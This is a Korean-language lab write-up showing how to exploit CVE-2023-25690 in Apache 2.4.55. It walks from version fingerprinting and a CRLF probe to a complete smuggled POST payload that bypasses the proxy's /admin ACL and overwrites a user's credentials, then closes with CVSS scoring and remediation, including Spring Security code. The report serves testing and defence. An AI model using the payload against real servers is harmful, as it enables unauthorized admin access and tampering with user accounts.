
HTTP Request Smuggling 실습: Apache 2.4.55 CRLF injection
| 구성 요소 | 역할 | 버전 |
|---|
| Apache HTTP Server | 리버스 프록시 | 2.4.55 (취약) |
| Spring Boot (Tomcat 내장) | 백엔드 API | 4.x (Java 21) |
| SQLite | 데이터베이스 | — |
사용자 ──► Apache :80 (프록시) ──► Spring Boot :8080 (백엔드) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: CRLF 비정제
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> 차단됨
POST /public/register: 데이터베이스에 사용자 등록 허용
POST /public/login: 입력된 자격 증명 검증을 통한 로그인 허용 및 세션 토큰 발급
GET /public/dashboard: 사용자 전용 영역
GET /api/status: "name" 매개변수 수락, 서비스 상태 확인용 예시 엔드포인트
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: 이론상 공개적으로 접근 불가능한 경로로, 관리자가 사용자 데이터를 수정할 수 있게 해줌
침투 테스트 활동 중 Spring Boot 백엔드를 노출시키는 리버스 프록시 인프라에서 심각한 취약점이 식별되었습니다. Apache HTTP Server 2.4.55 버전의 프록시는 CVE-2023-25690(HTTP Request Smuggling) 취약점의 영향을 받으며, 이로 인해 공격자가 프록시에 적용된 보안 필터를 우회하고 보호되지 않은 내부 관리 엔드포인트에 직접 도달할 수 있습니다.
이 공격은 Apache의 RewriteRule에서 제어 문자(CRLF)를 정제하지 않는 점을 악용하여, 백엔드로 향하는 정당한 요청의 매개변수 사이에 두 번째 HTTP 요청을 주입할 수 있게 합니다. 개념 증명(PoC)을 통해 프록시 ACL로 이론상 보호되는 /admin/edit/{id}/{newName}/{newPass} 엔드포인트를 통한 데이터베이스 내 사용자 자격 증명의 무단 수정이 입증되었습니다.
권장 사항: Apache HTTP Server를 ≥ 2.4.56 버전으로 즉시 업데이트하고, 프록시의 보안 필터를 강화하며, 모든 민감한 엔드포인트에 대해 백엔드 측 보안 계층(Spring Security)을 구현하십시오.
응답 HTTP 헤더 분석을 통한 Apache 버전 식별.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
결과: Server 헤더가 Apache/2.4.55를 노출함. CVE 데이터베이스 조회 → CVE-2023-25690와 일치.
CVE에 따르면, 이 Apache 버전에서는 프록시로의 요청에서 온 일반 문자를 백엔드 대상 URL로 복사하는 RewriteRule이 존재할 경우, 복사된 텍스트가 정제되지 않아 제어 문자(예: 줄바꿈)도 통과할 수 있습니다.
예시: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P는 프록시 모드를 의미
따라서 이제 우리의 목표는 프록시 수준에서 이러한 복사를 수행하는 엔드포인트를 발견하는 것입니다.
응답 분석과 애플리케이션 동작을 통해 세션이 JSESSIONID로 관리되는 것을 확인할 수 있으며, 이는 Java Servlet Container(Apache Tomcat, Jetty 또는 WildFly 등)의 사용을 확인해줍니다. 또한, 존재하지 않는 엔드포인트에 대한 요청이 "Whitelabel Error Page"를 반환하는 것으로 보아 백엔드에 Spring Boot가 있음을 알 수 있습니다.
사전 기반 퍼징 자동화를 위한 bash 스크립트를 통해 네트워크에 노출된 엔드포인트가 (아마도 모두) 매핑되었습니다.
결과:
| 엔드포인트 | HTTP 코드 | 메서드 | 매개변수 |
|---|---|---|---|
| admin | 403 | GET | (매개변수 없음) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (매개변수 없음) |
| public/logout | 200 | GET | (매개변수 없음) |
| api/status | 200 | GET | (매개변수 없음) |
| service/* | 200 | GET | (매개변수 없음) |
다음과 같은 사실로부터
두 요청 모두 동일한 응답을 반환하므로 동일한 백엔드 엔드포인트를 가리킨다는 것을 알 수 있습니다. 또한 /service/x/y/z와 같은 요청(존재할 가능성이 매우 낮음)이 404를 반환하지 않는다는 점에서, 원래 엔드포인트가 경로 변수(path variable)가 아닌 매개변수를 수락한다고 추론할 수 있습니다. 결론적으로 /service/<서비스>에 대한 요청이 Spring Boot 백엔드용 RewriteRule로 변환된다는 것을 추론할 수 있습니다(바로 우리가 찾던 것). 이제 이 RewriteRule이 .* 같은 정규식을 사용하는 더미인지, 아니면 잘 구조화되어 있는지 파악해야 합니다.
요청에 제어 문자를 삽입하여 정당한 콘텐츠와 숨겨진 콘텐츠를 분리해 보겠습니다:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... 'x' 서비스가 정상적으로 운영 중입니다.
CRLF가 올바르게 해석되는지 확인하기 위해 사용자 정의 매개변수를 삽입했습니다.
trash_header는 Apache가 백엔드로의 요청에 추가할 헤더를 캡슐화하는 역할을 합니다(이렇게 하면 단순한 X-Header 텍스트로 해석되어 HTTP 요청 측면에서 아무런 가치를 갖지 않게 됩니다).
백엔드 컨테이너에서 tcpdump를 사용하여 Apache에서 오는 HTTP 요청을 가로챌 수 있었습니다:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
백엔드는 다음 요청을 수신합니다:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
"제어 문자가 제어권을 가졌습니다"
응답은 제어 문자가 포함된 부분이 단순한 매개변수가 아닌 HTTP 요청 구조 자체로 무사히 통과했음을 나타냅니다(백엔드가 캡처한 이름이 'x'뿐이기 때문). 따라서 우리는 백엔드로 향하는 HTTP 요청의 형식을 강제했고 프록시가 이를 수용했습니다. 이는 실제 스머글링 페이로드로 가는 길을 열어줍니다.
| 엔드포인트 | 메서드 | 접근 | 비고 |
|---|---|---|---|
/public/register | POST | 공개 | 사용자 등록 |
/public/login | POST | 공개 | 로그인, JSESSIONID 발급 |
/public/dashboard | GET | 인증됨 | 전용 영역 |
/public/logout | GET | 공개 | 세션 파기 |
/api/status?name= | GET | 공개 | 상태 확인 |
/service/{param} | GET | 공개 | 취약한 게이트웨이 (쿼리 문자열의 $1) |
/admin/edit/{id}/{n}/{p} | POST | 보호됨 (ACL) | 사용자 자격 증명 수정 |
/admin/ | * | 차단됨 (403) | Apache ACL |
Apache 리버스 프록시가 Spring Boot 백엔드로 두 개의 개별 요청을 전달하도록 강제하여, 두 번째 요청이 Apache의 ACL 필터를 우회하고 /admin/edit/ 엔드포인트에 도달하게 하는 것입니다.
이 단계에서는 localhost와 spring-backend가 각각 프록시와 서버의 공개 주소라고 가정합니다. 프록시와 백엔드가 동일한 네트워크(또는 조직)에 있는 경우, spring-backend는 사설 IP가 됩니다(아쉽게도 이를 알아내기는 어려울 것입니다).
취약점은 다음 RewriteRule에 있습니다:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
프록시는 사용자 입력을 $1로 캡처하여 제어 문자를 정제하지 않고(%20, %0d%0a) 쿼리 문자열에 삽입합니다. 백엔드(Tomcat)는 이러한 문자를 URL 종료 및 동일한 TCP 소켓에서의 새 HTTP 요청 시작으로 해석합니다.
A) GET /service/x → 정당한 부분; /service/ 이후의 모든 내용이
$1(name 매개변수)로 들어감
B) %20HTTP/1.1 → [분할 지점] 백엔드에서 URL을 조기에
종료시키는 공백
C) %0d%0aHost:...%0d%0a%0d%0a → [헤더 주입] 첫 번째 요청을 종료하는 CRLF
D) POST /admin/edit/1/HACKED/PWNED → [스머글드 요청] admin 엔드포인트로 향하는
숨겨진 악성 요청
E) %20HTTP/1.1 → 두 번째 요청의 HTTP 버전
F) %0d%0aContent-Length:%200 → POST를 위한 빈 본문
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [헤더 싱크] Apache가 자동으로 추가하는
헤더를 흡수
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
Apache가 보는 것 (단일 요청):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
백엔드가 수신하는 것 (동일한 소켓에서의 두 요청):
--- 요청 1 (정당하지만 "절단된") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- 요청 2 (스머글드) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... 'x' 서비스가 정상적으로 운영 중입니다.
ID 1의 사용자가 HACKED로 이름이 변경되고 비밀번호가 PWNED로 변경되었습니다 — 프록시 ACL의 완전한 우회.
확인을 위한 데이터베이스 직접 접근:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| ID | 설명 |
|---|---|
| CVE-2023-25690 | RewriteRule/ProxyPassMatch가 있는 mod_proxy를 통한 Apache HTTP Server HTTP Request Smuggling |
| CWE-444 | HTTP 요청의 일관되지 않은 해석('HTTP Request/Response Smuggling') |
| CWE-113 | HTTP 헤더의 CRLF 시퀀스 부적절한 중화('HTTP Response Splitting') |
| 메트릭 | 값 | 설명 |
|---|---|---|
| Attack Vector (AV) | N (네트워크) | 원격 네트워크에서 접근 가능 |
| Attack Complexity (AC) | L (낮음) | 특별한 조건 없음 |
| Privileges Required (PR) | N (없음) | 인증 불필요 |
| User Interaction (UI) | N (없음) | 피해자 상호작용 불필요 |
| Scope (S) | C (변경됨) | 취약한 구성 요소가 피해를 입는 구성 요소와 다름 |
| Confidentiality (C) | H (높음) | 보호된 엔드포인트 접근 |
| Integrity (I) | H (높음) | 데이터베이스 내 사용자 데이터 수정 |
| Availability (A) | H (높음) | 프록시 캐시 오염 가능성 / 소켓 오염 |
기본 점수: 10.0 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| 메트릭 | 값 | 설명 |
|---|---|---|
| Exploit Code Maturity (E) | F (기능적 익스플로잇 존재) | 작동하는 익스플로잇 |
| Remediation Level (RL) | O (공식 수정) | 이후 Apache 버전에서 버그 수정됨 |
| Report Confidence (RC) | C (확인됨) | 취약점 확인 및 문서화됨 |
시간적 점수: 9.3 (HIGH)
| 메트릭 | 값 | 설명 |
|---|---|---|
| Attack Vector (MAV) | N (네트워크) | 프록시가 인터넷에 노출됨 |
| Attack Complexity (MAC) | H (높음) | 내부 엔드포인트 구조에 대한 지식 필요 |
| Privileges Required (MPR) | L (낮음) | 어떤 유형의 권한도 필요 없음 |
| User Interaction (MUI) | N (없음) | 외부 사용자의 상호작용 불필요 |
| Scope (MS) | C (변경됨) | 다른 시스템을 통해 시스템 침해 |
| Impact Metrics (MC/MI/MA) | H/H/H | 최대 피해 (데이터베이스 내 데이터 수정) |
| CIA Requirements (CR/IR/AR) | H/H/H | 중요 시스템 (사용자 로그인) |
환경 점수: 8.0 (HIGH)
벡터 문자열: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
전체 점수: 8.0 — HIGH
[P] 플래그가 있는 RewriteRule에서 제어 문자 정제가 서버 코어 수준에서 강제되는 ≥ 2.4.56 버전으로 Apache HTTP Server를 업데이트하십시오.
| 현재 버전 | 대상 버전 | 수정 |
|---|---|---|
| 2.4.55 | 2.4.56+ | mod_proxy의 자동 CRLF 정제 |
pom.xml에 spring-boot-starter-security 추가:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
관리 엔드포인트를 보호하는 SecurityFilterChain 구성:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
엔드포인트가 수락하는 모든 매개변수(쿼리 문자열, 경로 변수, 폼 데이터)에 대한 검증 추가:
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// 사용자에게 ADMIN 역할이 있는지 확인
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "접근 거부";
}
// ... 인증 확인 후에만 작업 허용
}